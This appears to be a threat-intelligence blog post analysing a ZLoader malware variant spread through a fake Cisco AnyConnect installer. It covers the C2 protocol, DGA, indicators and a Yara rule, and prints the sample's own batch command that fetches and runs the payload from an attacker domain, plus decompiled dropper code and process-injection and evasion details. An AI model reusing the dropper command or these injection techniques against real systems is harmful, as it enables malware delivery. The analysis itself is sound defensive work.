Guess Who’s Back? ZLoader’s Back, Back Again.

Estimated Reading Time: 14 minutes

Deepwatch’s Adversary Tactics and Intelligence (ATI) team uncovers their findings on the latest variant of ZLoader (version 2.0.0.0), a modified version of the leaked Zeus Botnet source code from 2010, providing details on the inner workings of the threat, Indicators, and tooling to aid defenders in staying ahead of the game. ZLoader returns after a two year hiatus, surviving a joint take down effort organized by Microsoft and telecommunication providers on April 13, 2023. ZLoader’s back, and ATI finds it serving as the entrypoint for ransomware operations, with the latest variants compiled as both dll and exe files, that make use of: a single hard-coded C2 domain matching the regex pattern “asdlsticker[a-z]{2}.world”, an updated Domain Generation Algorithm (DGA), and updated C2 communication featuring an RSA 1024-bit encrypted RC4 key with Zeus Visual Encryption and Zeus BinStorage.

ZLoader Attack Chain

The ZLoader attack chain can be seen in the following figure. First, the user searches the web and downloads the NSIS installer, CiscoAnyConnectVPN.exe, which in turn downloads and executes ZLoader and the legitimate Cisco AnyConnect VPN installer MSI file.

Downloader Analysis (CiscoAnyConnectVPN.exe)

The delivery vector in this analysis is a fake CiscoAnyConnect VPN installer named “CiscoAnyConnectVPN.exe” and is an NSIS based installer that serves to write a batch file into %temp%\temp.bat and execute it with cmd /c command, which downloads and executes ZLoader. Additionally, to avoid user suspicion, the legitimate Cisco AnyConnect VPN is installed immediately after. The following list describes the behavior of temp.bat:

1. Download and execute ZLoader with the following command, where filename_effective is retrieved from the response from msfw[.]store:

for /f %%i in ('curl -JLkOsw %%{filename_effective} --output-dir %tmp% -k https://msfw.store/UKEE80L') do (IF EXIST %tmp%\%%i (start %tmp%\%%i))

2. Run the ping command to wait for 5 seconds:

ping 127.0.0.1 -n 5 > nul

3. Delete %temp%\temp.bat file from disk:

del /f /q "%~f0"

After the batch file has been executed/deleted, the NSIS installer then downloads and executes a legitimate copy of Cisco AnyConnect from the same domain (msfw[.]store). This behavior can be seen after decompiling the NSIS installer, as seen in the code snippet below.

Section MainSection ; Section_0
  FileOpen $0 $TEMP\temp.bat w
  FileWrite $0 "@echo off$\r$\n"
  FileWrite $0 "for /f %%i in ('curl -JLkOsw %%{filename_effective} --output-dir %tmp% -k https://msfw.store/UKEE80L') do (IF EXIST %tmp%\%%i (start %tmp%\%%i))$\r$\n"
  FileWrite $0 "ping 127.0.0.1 -n 5 > nul$\r$\n"
  FileWrite $0 "del /f /q $\"%~f0$\"$\r$\n"
  FileWrite $0 exit$\r$\n
  FileClose $0
  ExecDos::exec /TOSTACK "cmd /c $\"$TEMP\temp.bat$\""
	; Call Initialize_____Plugins
	; File $PLUGINSDIR\ExecDos.dll
	; SetDetailsPrint lastused
	; Push "cmd /c $\"$TEMP\temp.bat$\""
	; Push /TOSTACK
	; CallInstDLL $PLUGINSDIR\ExecDos.dll exec
  nsisdl::download https://msfw.store/anyconnect-win-4.10.07061-core-vpn-webdeploy-k9.msi $EXEDIR\anyconnect-win-4.10.07061-core-vpn-webdeploy-k9.msi
	; Call Initialize_____Plugins
	; File $PLUGINSDIR\nsisdl.dll
	; SetDetailsPrint lastused
	; Push $EXEDIR\anyconnect-win-4.10.07061-core-vpn-webdeploy-k9.msi
	; Push https://msfw.store/anyconnect-win-4.10.07061-core-vpn-webdeploy-k9.msi
	; CallInstDLL $PLUGINSDIR\nsisdl.dll download
  Pop $0
  StrCmp $0 success 0 label_160
  ExecShell "" $\"$EXEDIR\anyconnect-win-4.10.07061-core-vpn-webdeploy-k9.msi$\"	; $\"$EXEDIR\anyconnect-win-4.10.07061-core-vpn-webdeploy-k9.msi$\"
  Goto label_161
label_160:
  MessageBox MB_OK|MB_ICONSTOP "Error: $0"
label_161:
  Quit
SectionEnd

ZLoader Analysis (CyberMesh.exe)

Thread Execution Hijacking

ZLoader continues to make use of the Thread Execution Hijacking technique [T1055.003] and does so by using direct system calls, for the purposes of evading AV/EDR user mode API hooks. The following behaviors exhibited lead to the injection of CyberMesh.exe into the process memory of C:\Windows\System32\msiexec.exe and hijacking of the main thread to execute the OEP of ZLoader at offset 0x2048.

1. The subroutine at offset 0x92E0 serves to create the process parameters and start msiexec.exe suspended. This is accomplished by calling RtlCreateProcessParametersEx at 0x958B and passing a pointer to a UNICODE_STRING object for the ImagePath parameter, where the buffer within the object points to the image path of Microsoft’s MSI Installer utility, “\??\C:\Windows\System32\msiexec.exe”. At offset 0x9771 the instructions call rax invokes a direct syscall for NtCreateUserProcess, and passes the process parameters object and THREAD_CREATE_FLAGS_CREATE_SUSPENDED flag on the stack at [rsp+40].

2. At offset 0xA561 the instructions call rax invokes a direct syscall for NtAllocateVirtualMemory, passing the previously acquired process handle for msiexec.exe as the first parameter, with a size of 0xA000 of memory to allocate, and the final parameter specifying protection flag PAGE_READWRITE (0x04). The CyberMesh.exe image is then read from memory and written to this allocated memory (0x2D000 bytes).

3. Following this, another NtWriteVirtualMemory indirect syscall is executed and 8 bytes are written (Figure 5) at offset 0x24080, patching the existing 0xFF bytes as shown in the figure below. The jmp seen in the figure can be considered as the “tail jump”.

4. Next, at offset 0x8F71 the instructions call rax invokes a direct syscall for NtGetContextThread in order to retrieve a pointer to the CONTEXT object for the suspended thread.

5. The main thread’s rip register is then updated the OEP at 0x24080 in the CONTEXT object. The instruction call rax leads to a direct syscall for NtSetContextThread, setting the new context.

6. At offset 0x81CE the instruction call rax invokes a indirect syscall for NtProtectVirtualMemory, in order to change the protection flags for the newly injected PE to PAGE_EXECUTE_READWRITE (0x40) for 0x3000 bytes. This is performed to allow executing the malicious code, as the memory section was previously marked as PAGE_READWRITE when allocated.

7. At offset 0x65D1 the instruction call rax invokes a direct syscall for NtResumeThread, resuming the thread which leads to the execution of the OEP at 0x24080.

Changing Memory Protections

After the thread is resumed, the Windows API VirtualProtect() is called at offset 0x1E3AF to change the protection flags for the .text section of the image to PAGE_EXECUTE_READ (0x20). This is performed to essentially “clean up tracks” as the memory was previously marked PAGE_EXECUTE_READWRITE, which is something that is looked for by AV/EDR and reverse engineers to identify suspicious memory sections.

Self Deletion

The subroutine at 0x1320 serves to overwrite and delete the malware from disk, first by calling the Windows API CreateFileA() and specifying the path to the current image, then using the acquired handle in a subsequent call to the Windows API WriteFile() which overwrites the file with 0x25400 null (0x00) bytes, and finally calls the Windows API DeleteFileW() to delete the file.

Dynamic API Resolution

Through static analysis, we can see that the ZLoader payload only imports a few APIs; the remaining needed APIs are resolved dynamically and on an as-needed basis via API hashing.

def calculate_checksum(func_name, xor_constant):
    checksum = 0
    for element in func_name.upper():
        checksum = 16*checksum - (0 - (ord(element)+1))
        if checksum & 0xf0000000 != 0:
            checksum = ((((checksum & 0xf0000000) >> 24) ^ checksum) & 0xfffffff)
    return checksum ^ xor_constant

String Deobfuscation

Strings are decoded on an as-needed basis and the sub-routine responsible for decoding strings uses a XOR based cipher. This is performed both to hinder analysis and to prevent AV/EDR from detecting files on disk with easily identifiable strings. The XOR key is stored in the .rdata section and the pointer to it can be seen referenced in the figure below as “unk_7FF668D751D0”.

Available in Github is a python snippet (credits to ZScaler ThreatLabz) that allows for decoding strings and has been included below:

def str_deobfuscate(enc_bin, enc_key):
  res = ''
  for i, element in enumerate(enc_bin):
	res += chr( ((element ^ 0xff) & (enc_key[i % len(enc_key)])) | (~(enc_key[i % len(enc_key)]) & element))
  return res

Decoding the Static Configuration

The configuration for the latest ZLoader samples can be decoded by first finding the RC4 passphrase in the .rdata section, and the pointer to the encoded bytes (stored in the .rdata section) that are loaded into the RCX register in the configuration decryption routine at 0x1CF0.

 By using CyberChef, we can decode the configurations, first by converting the bytes from hex, and then decrypting from RC4 with the previously acquired RC4 passphrase.

We have found the following Botnet and Campaign IDs after analysis of samples available in public sources:

{"Botnet ID": "Bing_Mod2", "Campaign ID": "M1", "C2": ["https://adslstickerni.world"]}
{"Botnet ID": "Bing_Mod5", "Campaign ID": "M1", "C2": ["https://adslstickerhi.world"]}
{"Botnet ID": "Bing_Mod2", "Campaign ID": "M1", "C2": ["https://adslstickerni.world"]}
{"Botnet ID": "Bing_Mod4", "Campaign ID": "M1", "C2": ["https://adslstickerhi.world"]}
{"Botnet ID": "Bing_Mod5", "Campaign ID": "M1", "C2": ["https://dem.businessdeep.com"]}
{"Botnet ID": "Bing_Mod4", "Campaign ID": "M1", "C2": ["https://adslstickerhi.world"]}
{"Botnet ID": "Bing_Mod3", "Campaign ID": "M1", "C2": ["https://adslstickerni.world"]}
{"Botnet ID": "Bing_Mod5", "Campaign ID": "M1", "C2": ["https://adslstickerhi.world"]}

Fingerprinting

The following list contains system information that is collected and will later be sent to the C2:

  • The Windows API GetComputerNameW() is called to retrieve the computer name
  • The Windows APIGetUserNameW() is called to retrieve the current user’s username
  • The following registry key/value is queried via the Windows API RegQueryValueEx() to determine the installation date of Windows (stored as hex):
    • Registry Key: HKLM\Software\Microsoft\Windows NT\CurrentVersion
    • Value Name: InstallDate

All of this information is formatted into a string in the following format and constitutes the bot’s ID:

  • <COMPUTER_NAME>_<USERNAME>_<INSTALL_DATE>

C2 Communication

The C2 URL, “https://adslsticker[a-z]{2}[.]world” is communicated with via HTTP POST over TLS with the user agent “Security Metrics”. Other variants that we have discovered use similar user agents, such as “User Metrics”. The C2 request data contains the RSA encrypted RC4 key as the first 0x80 (128) bytes, and the remainder of the request data is encrypted with this key and additionally the Zeus Visual Encryption. This encrypted data includes: the campaign ID, botnet ID, computer name, user name, and Windows installation date. As previously uncovered in Figure 16, we have found the RSA public key is the same across all known new variants of ZLoader that we have analyzed, suggesting limited distribution amongst threat actors.

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDKGAOWVkikqE7TyKIMtWI8dFsa
leTaJNXMJNIPnRE/fGCzqrV+rtY3+ex4MCHEtq2Vwppthf0Rglv8OiWgKlerIN5P
6NEyCfIsFYUMDfldQTF03VES8GBIvHq5SjlIz7lawuwfdjdEkaHfOmmu9srraftk
I9gZO8WRQgY1uNdsXwIDAQAB
-----END PUBLIC KEY-----

1. The figure below is an example of what is sent to the C2. Within this figure we can see the strings “Bing_Mod3”, and “M1”, which are the Botnet ID and Campaign ID respectively. Additionally, we can see the computer name, username, and Windows installation date are also included in the request.

2. Within the subroutine at 0x18CE0, the encrypted HTTP POST data is then sent to the C2 via Windows API call to HttpSendRequestA, specifying a pointer to the encrypted data for the lpOptional parameter.

3. The following figure displays the C2 request packet, where the red box represents the RSA encrypted RC4 key, and the green box the encrypted data. Threat actors use their RSA private key to decrypt the RC4 key, then use it to decrypt the encrypted data. This ensures only the threat actor is able to decrypt the packet, unless of course we capture the RC4 key prior to its encryption.

5. Deepwatch has developed the script included below to aid in the analysis of the network communications exhibited by ZLoader. See Figure 19 for example output. Note, first you must find the RC4 key, which is randomly generated and can be captured at offset 0xB1CA.

from Cryptodome.Cipher import ARC4
import struct
import json

# See Figure 18 for more information
network_request_data = b'\xCF\xDC\xF9\xAF\x36\x61\x46\x6A\xA8\x33\x0E\xA3\x28\x0F\xD5\x8A\x03\xD0\x47\xCB\x3A\x96\x44\x20\xCE\x1C\x48\x0B\xD1\x53\x46\xF4\x43\xC0\xA9\x61\xB9\x99\x5F\x73\xB5\x16\xAB\xE9\x0B\xD4\x56\x49\xCF\x34\xFA\x72\x35\x1F\xF7\xB2\xDB\x44\xFE\x82\xD7\xAF\xC8\x0A\xFF\x14\x4B\x7D\x56\xFE\xE6\x24\xDB\x8A\x5D\x1B\xB3\x12\xF0\x91\x44\x7C\x5B\xA2\x71\x49\xF8\x16\xD4\xC4\xA6\x9E\x5F\xC7\x43\x42\xA5\xBD\xB3\x08\xD7\x86\x6B\x88\x8E\x58\xCC\x57\x6B\x33\x37\xFA\x39\x17\xF1\x8F\xA2\x04\xCB\x85\xC3\x39\x02\x74\xEB\x68\xBD\xD1\x5A\x90\xF2\x7F\xCA\x82\x92\x8F\x8C\xBA\xD4\x19\xC0\x40\x4A\x00\x99\xB4\x7F\xE7\xEB\xB2\xD5\xAB\x97\x59\xA9\x1F\x9C\xA9\x3D\x8A\x69\x10\x08\x47\x3F\x69\xBE\x57\x5C\xB2\x73\xBE\x14\xBA\xA6\xAB\xA0\xE0\x0D\x26\x75\xC8\x35\x20\x22\x00\x5D\x0E\x21\xD9\x16\xFA\x50\xF6\x85\xB4\x10'
rc4_key = b'\x62\x23\x6E\xAE\x85\xA9\x23\xA2\xBB\x14\x22\xB0\x26\x0C\x72\x6B\x38\xD3\x26\xE8\x71\xFD\x50\x06\xDF\x53\x32\x87\x1C\x7C\x67\x77'


def deobfuscate_visual_encryption(visual_encryption_bin):
   res = b''
   for i, element in enumerate(visual_encryption_bin):
       res += chr(element ^ visual_encryption_bin[i-1]).encode()
   return res

def parse_zeus_binstorage(binstorage):
   eggs = {
       'botnet_id': b'\x12\x27',
       'campaign_id': b'\x29\x27',
       'bot_id': b'\x11\x27',
       'version': b'\x13\x27'
   }

   parsed = {}
   for egg_name in eggs:
       egg_val = eggs[egg_name]
       egg_offset = binstorage.find(egg_val)
       str_size_offset_start = egg_offset + 8
       str_size_offset_end = str_size_offset_start + 4
       str_size = struct.unpack('<i', binstorage[str_size_offset_start:str_size_offset_end])[0]
       str_offset_start = str_size_offset_end + 4
       str_offset_end = str_offset_start + str_size
       final_str = binstorage[str_offset_start:str_offset_end]
       if egg_name == 'version':
           build, tiny, minor, major = final_str
           final_str = f'{major}.{minor}.{tiny}.{build}'.encode()
       parsed[egg_name] = final_str.decode()
  
   return parsed

def main():
   # Decrypt with RC4 key
   cipher = ARC4.new(rc4_key)
   msg = cipher.decrypt(network_request_data)
   # Deobfuscate Zeus "Visual Encryption"
   decoded = deobfuscate_visual_encryption(msg)
   # Parse Zeus Bin Storage
   parsed = parse_zeus_binstorage(decoded)
   print(json.dumps(parsed, indent=2))

if __name__ == "__main__":
   main()

6. After the request to the C2 is sent, the handle that was returned from a previous call to HttpOpenRequest is then used in a call to InternetReadFile, in order to retrieve the response returned by the C2. The contents of this response are unknown, as at the time of our analysis the C2 server was no longer online.

Domain Generation Algorithm (DGA)

In the event that the hard-coded C2 is no longer online, ZLoader makes use of an newly updated DGA algorithm, utilizing the current system’s midnight UTC time as a seed in the algorithm. In Github, ZScaler has shared Python pseudo code for this algorithm and we have slightly modified it to allow printing out the current DGA domains, which can be used by teams tracking ZLoader activity to check for ZLoader C2s daily.

import time
from datetime import datetime, timedelta

def uint32(val):
	return val & 0xffffffff

def get_dga_time():
	now = datetime.now()
	ts = time.time()
	utc_offset = (datetime.fromtimestamp(ts) - datetime.utcfromtimestamp(ts)).total_seconds() / 3600
	midnight = now.replace(hour=0, minute=0, second=0, microsecond=0)
	midnight = midnight + timedelta(hours=utc_offset)
	return int(midnight.timestamp())

def generate_zloader_dga_domains():
	domains = []
	t = get_dga_time()
	for i in range(32): # number of domains to generate
    	domain = ""
    	for j in range(20): # domain name length
        	v = uint32(ord('a') + (t % 25 ))
        	t = uint32(t + v)
        	t = (t >> 24) & ((t >> 24) ^ 0xFFFFFF00) | uint32(t << 8)
        	domain += chr(v)
    	domains.append(domain+".com")
	return domains

def main():
	domains = generate_zloader_dga_domains()
	print('\n'.join(domains))

if __name__ == "__main__":
	main()

Persistence

ZLoader will modify the Windows registry “Run” key for ZLoader to auto-start after reboot, however this will likely fail in some instances where we observed ZLoader deleting itself after it has been injected and executed in the address space of msiexec.exe.

  • Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Value Name: Pejjqf
  • Value Data: C:\Users\<username>\AppData\Roaming\pfjsqg\CyberMesh.exe

Indicators

DomainDescription
ciscsolvit[.]comDomain used to serve CiscoAnyConnectVPN.exe downloader
msfw[.]storeDomain used by CiscoAnyConnectVPN.exe to download and execute ZLoader
adslstickerni[.]worldHard-coded ZLoader Command and Control server
adslstickerhi[.]worldHard-coded ZLoader Command and Control server
adslstickermo[.]worldHard-coded ZLoader Command and Control server
dem.businessdeep[.]comHard-coded ZLoader Command and Control server
URLDescription
https://msfw[.]store/UKEE80LZLoader download URL 
Sha256Description
b21c4e740110d23102cfac689fedb87e5f3ef2adbfc7c84f2e96606602cd2eb7CiscoAnyConnectVPN.exe
f03b9dce7b701d874ba95293c9274782fceb85d55b276fd28a67b9e419114fdbZLoader payload (CyberMesh.exe)
IPv4Description
45.144.28[.]4Command and Control (A record for adslstickerni[.]world)
User AgentDescription
Security MetricsUser agent used in C2 HTTP POST
User MetricsUser agent used in C2 HTTP POST

Yara

ATI found the following Yara rule when performing a lookup of the latest variants of ZLoader in VirusTotal. This Yara rule can be used to detect ZLoader on disk and in memory. Credits to Kev O’Reilly and enzok for the rule:

rule Zloader
{
    meta:
        author = "kevoreilly, enzok"
        description = "Zloader Payload"
        cape_type = "Zloader Payload"
    strings:
        $rc4_init = {31 [1-3] 66 C7 8? 00 01 00 00 00 00 90 90 [0-5] 8? [5-90] 00 01 00 00 [0-15] (74|75)}
        $decrypt_conf = {83 C4 04 84 C0 74 5? E8 [4] E8 [4] E8 [4] E8 [4] ?8 [4] ?8 [4] ?8}
        $decrypt_conf_1 = {48 8d [5] [0-6] e8 [4] 48 [3-4] 48 [3-4] 48 [6] E8}
        $decrypt_key_1 = {66 89 C2 4? 8D 0D [3] 00 4? B? FC 03 00 00 E8 [4] 4? 83 C4 [1-2] C3}
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

External References

Share

LinkedIn Twitter YouTube

Subscribe to the Deepwatch Insights Blog